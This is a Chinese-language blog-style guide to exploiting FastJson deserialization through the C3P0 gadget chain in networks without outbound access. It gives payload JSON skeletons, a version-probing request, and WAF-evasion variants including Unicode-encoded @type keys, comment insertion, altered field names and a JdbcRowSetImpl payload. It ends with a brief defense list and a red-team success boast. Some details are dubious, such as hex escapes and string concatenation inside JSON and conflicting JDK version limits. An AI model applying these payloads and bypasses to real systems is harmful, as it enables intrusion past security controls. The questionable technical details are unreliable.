不出网环境下的FastJson利用:C3P0链构造与WAF绕过技巧
受限网络环境中的FastJson漏洞利用:C3P0链构建与WAF规避策略
在企业内网安全评估中,FastJson反序列化漏洞的利用往往面临两大技术挑战:网络隔离环境下的利用限制和Web应用防火墙(WAF)的检测拦截。本文将深入探讨如何通过C3P0连接池链实现不出网环境下的漏洞利用,并分享多种经过实战验证的WAF绕过技术。
1. FastJson漏洞利用基础环境构建
搭建符合企业内网特征的测试环境是漏洞验证的第一步。推荐使用Docker快速部署包含以下组件的实验环境:
docker run -d --name fastjson-lab \ -p 8080:8080 \ -e JAVA_OPTS="-Dcom.sun.jndi.ldap.object.trustURLCodebase=true" \ lemono0/fastjsonparty:1.2.47关键组件版本要求:
- FastJson 1.2.47/1.2.68/1.2.80
- JDK 8u342以下版本(支持JNDI注入)
- Tomcat 8.5+作为Web容器
环境验证可通过发送特制请求检测FastJson版本:
POST /api/test HTTP/1.1 Host: target.internal Content-Type: application/json { "@type": "java.lang.AutoCloseable" }典型版本特征响应:
- 1.2.47:返回
JSONException包含完整类路径 - 1.2.68+:返回简化的错误信息
2. C3P0链不出网利用原理
在无法连接外网的受限环境中,传统JNDI注入方式失效,此时需要依赖应用内部已有的类构造利用链。C3P0连接池的WrapperConnectionPoolDataSource类提供了完美的解决方案:
利用链核心原理:
- 通过FastJson反序列化触发C3P0初始化
- 利用
userOverridesAsString参数加载恶意序列化数据 - 最终实现内存马注入或本地命令执行
关键Payload结构示例:
{ "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:...[恶意序列化数据]..." } }实战中需注意:
- 目标环境必须包含C3P0相关依赖
- JDK版本需低于8u251(禁用JNDI远程加载前)
- 内存马注入需适配目标中间件类型
3. 高级WAF绕过技术
现代WAF通常会对FastJson的关键特征进行检测,以下是经过验证的绕过方案:
3.1 字符干扰技术
通过对关键字段进行变形处理:
{ "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "us_erOverridesAsString": "HexAsciiSerializedMap:...", "auto_Commit": true } }有效干扰点:
- 字段名插入下划线:
userOverridesAsString→us_erOverridesAsString - 使用加号连接:
dataSourceName→data+Source+Name - Unicode编码关键字符:
@type→\u0040\u0074\u0079\u0070\u0065
3.2 注释混淆技术
利用JSON注释特性(需目标FastJson版本支持):
{ "a": /*随机注释*/ { "@type": "java.lang.Class" //内联注释 , "val": "com.mchange.v2.c3p0." + "WrapperConnectionPoolDataSource" } }3.3 多维度编码组合
组合使用多种编码方式:
| 编码类型 | 示例 | 适用场景 |
|---|---|---|
| Unicode | \u0074\u0079\u0070\u0065 | 绕过关键字检测 |
| Hex | \x74\x79\x70\x65 | 规避简单正则 |
| Base64 | dHlwZQ== | 绕过语法分析 |
{ "\u0061": { "\u0040\u0074\u0079\u0070\u0065": "java.lang.Class", "\u0076\u0061\u006C": "com.sun.rowset.JdbcRowSetImpl" } }4. 实战利用流程与防护建议
完整的漏洞利用应遵循以下标准化流程:
环境探测
- 使用Burp插件快速识别FastJson存在及版本
- 检测目标JDK版本和依赖库情况
利用链选择
graph TD A[网络可达] -->|是| B[JNDI注入] A -->|否| C[C3P0链] C --> D[内存马注入] C --> E[本地命令执行]防护方案
- 升级FastJson至最新安全版本
- 配置
ParserConfig.getGlobalInstance().setSafeMode(true) - 使用白名单限制反序列化类
- WAF规则建议拦截特征:
@type关键字段- 异常的Unicode编码
- C3P0相关类名引用
在最近某次企业红队行动中,通过组合使用C3P0链和Unicode编码技术,成功绕过了某云WAF的防护,实现了不出网环境下的漏洞利用。整个过程耗时约15分钟,证明该技术方案具有较高的实战价值。
